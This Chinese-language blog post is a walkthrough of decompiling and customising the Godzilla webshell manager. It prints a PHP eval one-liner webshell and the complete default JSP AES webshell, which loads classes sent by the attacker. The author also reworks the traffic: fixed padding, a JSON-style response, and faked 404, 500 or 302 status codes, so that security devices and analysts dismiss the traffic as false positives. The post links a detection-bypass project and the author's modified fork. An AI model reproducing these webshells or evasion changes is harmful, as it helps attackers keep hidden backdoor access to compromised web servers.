哥斯拉二开从0到1
最近学习了一下冰蝎和哥斯拉的二开,但也只是学习了一丢丢皮毛,这里记录一下。
准备
php5.2 php7.4 java 1.8
准备工作,这里还是建议使用idea,我用vscode 调,第一步配环境就给我卡死了,调了很久都没有调明白,太菜了。
首先致敬一下原版哥斯拉,原版地址https://github.com/BeichenDream/Godzilla
我们这里使用的最新的v4.0.1-godzilla版本,进行逆向及二开。
反编译网址,https://www.decompiler.com/,直接拖入jar包即可,很方便。
当然也可以使用idea的插件进行反编译,都一样。
ok开始
环境搭建
先改个名称试试看
下载好原版哥斯拉,然后拖到反编译网站,反编译完成后会看到一个压缩包,解压。
然后新建一个lib目录,将原版的godzilla拖进去,在将刚刚反编译后的目录拖到项目目录下
接着建立依赖关系。
settings->Project Structure
然后设置依赖添加我们上面lib里的哪个原版jar包,并且选中,这里笔者建议用jdk1.8,我用java15好像不太行
接着添加主类,
走到这一步,我们会发现,并没有其他大佬文章中说的有ui里的那个主类,是因为少了一部。
我们接着要将反编译的src\META-INF/MANIFEST.MF源文件,放到src下面,注意路径。
然后同样复制decompiled_src/core/ui/MainActivity.java文件到src目录下
这样即可
接着添加主类,
即可。
改标题
现在就可以编译了,我们先简单的改一下标题。
复制一份文件,godzilla的标题在core/MainActivity.java复制src/core/MainActivity.java,没有的目录要创建一下。目录一定要对齐。这里一定要清楚,不要在原版的那个和编译的那些文件里改,想改什么,把目录对齐,创建复制文件。
欧克,接下来编译
先build project
在build artifacts build
编译完成后,在项目目录下面的out/artifacts/下面就会有编译好的godzilla
接着就会发现出现hash错误,接着改,
在core/ApplicationConfig.java复制到
src/core/ApplicationConfig.java,
将中间的四行对比注释掉即可。
然后重新build。重新artifacts编译即可。
ok,没有问题。笔者这里并没有经过作者的同意去二开,和验证。奈何我太菜,联系不到大佬,如果有侵权,留个言删除。
全局改造
我们知道,godzilla和Behinder都有一些强特征,我们可以加一下混淆或者简单改改。
在/core/ui/component/frame/ShellSetting.java的文件中,
大概290行,设置一下ua,
直接给他写死,这样的话既可以每次打开不用自己改了。
还有下面的,
1 | this.leftTextArea.setText("page=1&size=10&"); |
左右追加数据,我们也给他写死,这样,就不用每次写了。
ok,比较方便,当然这里你想加什么都可以,这里只是添加一些参数。
然后是一个请求体的修改,在其他大师傅的文章中看到,
就是这个请求包中cookie中有分号,这是一个强特征,这里咱们没有办法验证,听就行了,给他去掉,
笔者改的哥斯拉版本在src\util\http\HttpResponse.java下,
默认是``cookies.forEach(cookie -> sb.append(String.format(“ %s=%s;”, cookie.getName(), cookie.getValue())));`
去掉;即可。打包编译。
ok,没有任何问题。
godzilla 结构
没开始之前咱们先看下一Godzilla的shell大概构造
在shell目录下,有三个目录,一个是加密 解密模块,也就是发送的payload的在本地加密,发送,从客户端解密返回给用户,payload就是各种功能,比如读取,上传,文件、数据库的操作等等,plugins很好理解,就是各种语言的插件,bypassdisable_function,提权,压缩,内存马等等。
这里说一个shell目录,shell目录下有各种语言的shell,每个语言下有一个Generate.java文件,他是用来生成godzilla木马的框架。然后就是要生成木马。我们点开lib目录下的godzilla.jar,然后是shell php下面的
这些*.bin对应的是这个生成的加密器。也就是xor base64啥的
相应的下面三个是加密 解密数据包的代码。其他的语言也大差不差。
这就是godzilla shell方面大致的理解,目前二开godzilla用到这些就够了。其实是其他的我也不太懂。
php
好的,接下来我们开始改流量,先从php开始。
我们先来看最原版的一句话木马,这里说一下,godzilla是支持一句话木马的。有好多同学面试的时候被问到godzilla支不支持一句话,好多同学不知道。其实他是支持。
好,先来看一句话的加密器是 PHP_EVAL_XOR_BASE64,他生成的木马就是一句话<?php
eval($_POST[“pass”]);
接着我们看对应的代码,在generate中,判断有没有bin文件,然后替换pass key
eval的🐎。如果这个,我们像上面一样,在src目录下新建文件,一样可以替换掉的。
然后是payload发送,在phpevalxor.java代码中,可以看到具体代码,比如异或,base64,传参等。
大家可以读读代码。
好,这里我们不去改变原有的代码,我们新加一个加密器。改的是xor然后base64的加密器。
好 我们先来打包看看
没有问题,godzillaxor base64的木马是这样的。
1 |
|
在代码中,我们可以看到,
eval($payload);
echo substr(md5($pass.$key),0,16);
echo base64_encode(encode(@run($data),$key));
echo substr(md5($pass.$key),16);
发送的数据报为输出pass和key的md5值前十六位,数据异或的值,接着输出后十六位
这是原版的请求流量,也不是原版
原版是这样的,我们刚刚定死了左右添加数据。
回显包,看到MD5前16 返回值异或 和后16位。
这里发送的包暂时不改了,因为发送的包改的话需要改发送的payload,返回包改了。
在返回包的代码中有一个函数,传递了this.findStrLeft, this.findStrRight,也就是上面定义的
md5的前后16位,ctrl+submiddlestr 会发现,就是将左边的数据,加返回的数据,加16位后数据
ok,我们给他变下型,
左右追加数据注释掉,然后添加一个返回信息。json格式。
我们的木马中,可以看到是输出的MD5,这样肯定不行,我们给他改一下,改成符合我们的加密方式的。
1 |
|
好,在看下流量
返回包
嘿,是不是有那味了。
在php中,我们可以让返回包强制404,只需在🐎里面添加http_response_code(404);即可
顺便我把pass改成了search,这样再看下数据包。
这样的话,我们的流量状态码就是404了,是不是猛一看,还真不好分辨,如果是新手的话,可能看设备的时候都直接略过点误报了。
当然,你可以改成任何你喜欢的数字。
发送包的pass 因为是传递键,所以我建议生成的时候,还是用一些单词,这样更有迷惑性。
返回值这个fL1tMGI4YTlj有的安全设备,也被定义为危险字符,因为返回值要异或key,所以key在生成的时候也不能用默认,简单改一改。
ok做戏要做全套,我们不能每次用的时候需要,来到文章拿代码,godzilla也是好用在这里。直接工具中生成,对我这种萌新比较友好。
接下来,我们来看怎么在godzilla中生成木马。
php的generate的代码中确定了用到那个bin文件,
加密器中也会判断isbin?,那我们仿照eval的加密器写,
直接定死或者bin文件即可。
创建文件,格式对齐。别写错了。
最下面改一改
1 | // |
然后bin文件写好
1 |
|
ok打包编译,
ok,这里演示已经没有问题了,我们直接做全点,
用一下这个大师傅的项目,https://github.com/Tas9er/ByPassGodzilla
生成一个php的码,封装到里面
1 |
|
换成我们的代码,中间key和pass替换一下。
生成好的php代码即可直接使用。
这里注意一下,如果我们改xorbase的代码,添加的那个文件要扣xorbase64的代码,要不然eval代码用xorbase64的payload肯定用不了。
笔者这里研究xorraw,没研究明白,只是研究了一丢丢
我们这里看下xor的流量加上message,是不是感觉有点突兀,因为它本身就是xor的乱码,如果我们在加message感觉有点怪怪的。这里就不加了。(其实是没研究明白,等我在学学)
jsp
好接下来我们看jsp的,godzilla默认java的有两种载荷,一种aes-base64,一种是aes-raw,和php一样,不过php是先xor,可能是php默认开启ssl哪个函数的话,用对称加密吧,java默认有aes,那么就可以直接用了,就通用了。
jsp默认 java-aes-base64
<%! String xc=”3c6e0b8a9c15224a”; String pass=”pass”; String md5=md5(pass+xc); class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance(“AES”);c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),”AES”));return c.doFinal(s); }catch (Exception e){return null; }} public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance(“MD5”);m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; } public static String base64Encode(byte[] bs) throws Exception {Class base64;String value = null;try {base64=Class.forName(“java.util.Base64”);Object Encoder = base64.getMethod(“getEncoder”, null).invoke(base64, null);value = (String)Encoder.getClass().getMethod(“encodeToString”, new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName(“sun.misc.BASE64Encoder”); Object Encoder = base64.newInstance(); value = (String)Encoder.getClass().getMethod(“encode”, new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e2) {}}return value; } public static byte[] base64Decode(String bs) throws Exception {Class base64;byte[] value = null;try {base64=Class.forName(“java.util.Base64”);Object decoder = base64.getMethod(“getDecoder”, null).invoke(base64, null);value = (byte[])decoder.getClass().getMethod(“decode”, new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName(“sun.misc.BASE64Decoder”); Object decoder = base64.newInstance(); value = (byte[])decoder.getClass().getMethod(“decodeBuffer”, new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e2) {}}return value; }%><%try{byte[] data=base64Decode(request.getParameter(pass));data=x(data, false);if (session.getAttribute(“payload”)==null){session.setAttribute(“payload”,new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute(“parameters”,data);java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();Object f=((Class)session.getAttribute(“payload”)).newInstance();f.equals(arrOut);f.equals(pageContext);response.getWriter().write(md5.substring(0,16));f.toString();response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));response.getWriter().write(md5.substring(16));} }catch (Exception e){}
%>
默认aes流量,这里由于全局设置了前后缀,就直接带了,下面返回包,和phpbase64一样
我们先改一下代码。依旧替换一下左右信息
然后我们在写两个变量,把前后的md5替换掉就好了。
这样就好看一点了,然后我们也把jsp的返回响应包写里面
好,写好之后,我们来看一下。404.
没有任何问题,好,接下来,我们看怎么生成的码。
从新在generate里面写一个方法,原来的是
1 | public byte[] generate(String password, String secretKey) { |
我们新写一个方法
然后去到generate文件,copy一个方法,然后加个messsage
然后就是把bin文件写好,这里我直接用的大师傅的代码,回头咱们自己改
最后调用的方法写一下就好了。
ok,这样就可以直接生成了,测试没啥问题。
我用其他大师傅的二开的,好多都不能生成原版的,这样比较简单生成我们自定义的了。
这里就不该aesraw的了。跟上面原因一样,不好看。(其实就是笔者没研究明白)
asp
ASP是Active Server Page的缩写,意为“活动服务器网页”。是MicroSoft公司开发的服务器端脚本环境,是一个WEB服务器端的开发环境,利用它可以产生和执行动态的、互动的、高性能的WEB服务应用程序。ASP采用脚本语言VBScript(Javascript)作为自己的开发语言。常用于各种动态网站中。 ASP是一种服务器端脚本编写环境,可以用来创建和运行动态网页或web应用程序。ASP的网页文件的格式是.asp。
asp的我们选用
asp xor base64的改一下。
这是我们的原始流量,长得和上面的差不多,
1 | <% |
可以看到 最后输出了两个字符串
源payload中也是匹配前六和后六,那么我们顺着他的改一下。
原版代码改一下。
非常ok。我们来改一下回显状态码。
asp的话 我们加这一句话即可
Response.Status = “500 Internal Server Error”
就会强制改回显状态码,
蔽日这里改成a,我们就会强制加个状态码
如果改成404,那么这个文件就不可以使用了
直接就会报错,设置成302就不会报错了,也可以用,但是吧 仔细看的话,感觉有点问题
当然,你可以加一些你喜欢的字符。
好,然后我们用大师傅的免杀,缝合一下。
只需要将生成的马改下格式,然后放在template下即可
此时就能生成了。
生成一个,试一下,
301伪装,emmm,还行吧。asp的先这样。
aspx
接下来时aspx的
其实流程都一样了,这次我们换个单词,就用常见的data吧
至此,简单的二开哥斯拉就完成了,其实也没有改什么,就只是加了前后缀,并且有一些加密类型也没有做更改,只是自己学习一下,简单记录一下。
如果大哥们有自己的免杀马,但是还用俺这个类型的,那么只需要在木马前后输出的地方改成data这种形式就可以了。
下个版本
这里只是改了一丢丢,并没有改流量以及加密方式,只是做了伪装,下个版本我们修改一下加密方式,这样的话会更好一点。而且是抄的其他大师傅的免杀🐎,下回争取的做一下免杀。还有就是message其实是固定的,希望能让他动起来。
下载
https://github.com/Bohemiana/godzilla_erkai
致谢
最后感谢您读到现在,这篇文章匆忙构成肯定有不周到或描述不正确的地方,期待业界师傅们用各种方式指正勘误。
参考
1 | https://github.com/BeichenDream/Godzilla 原版哥斯拉 |
总结
emmm 太菜了
一直在路上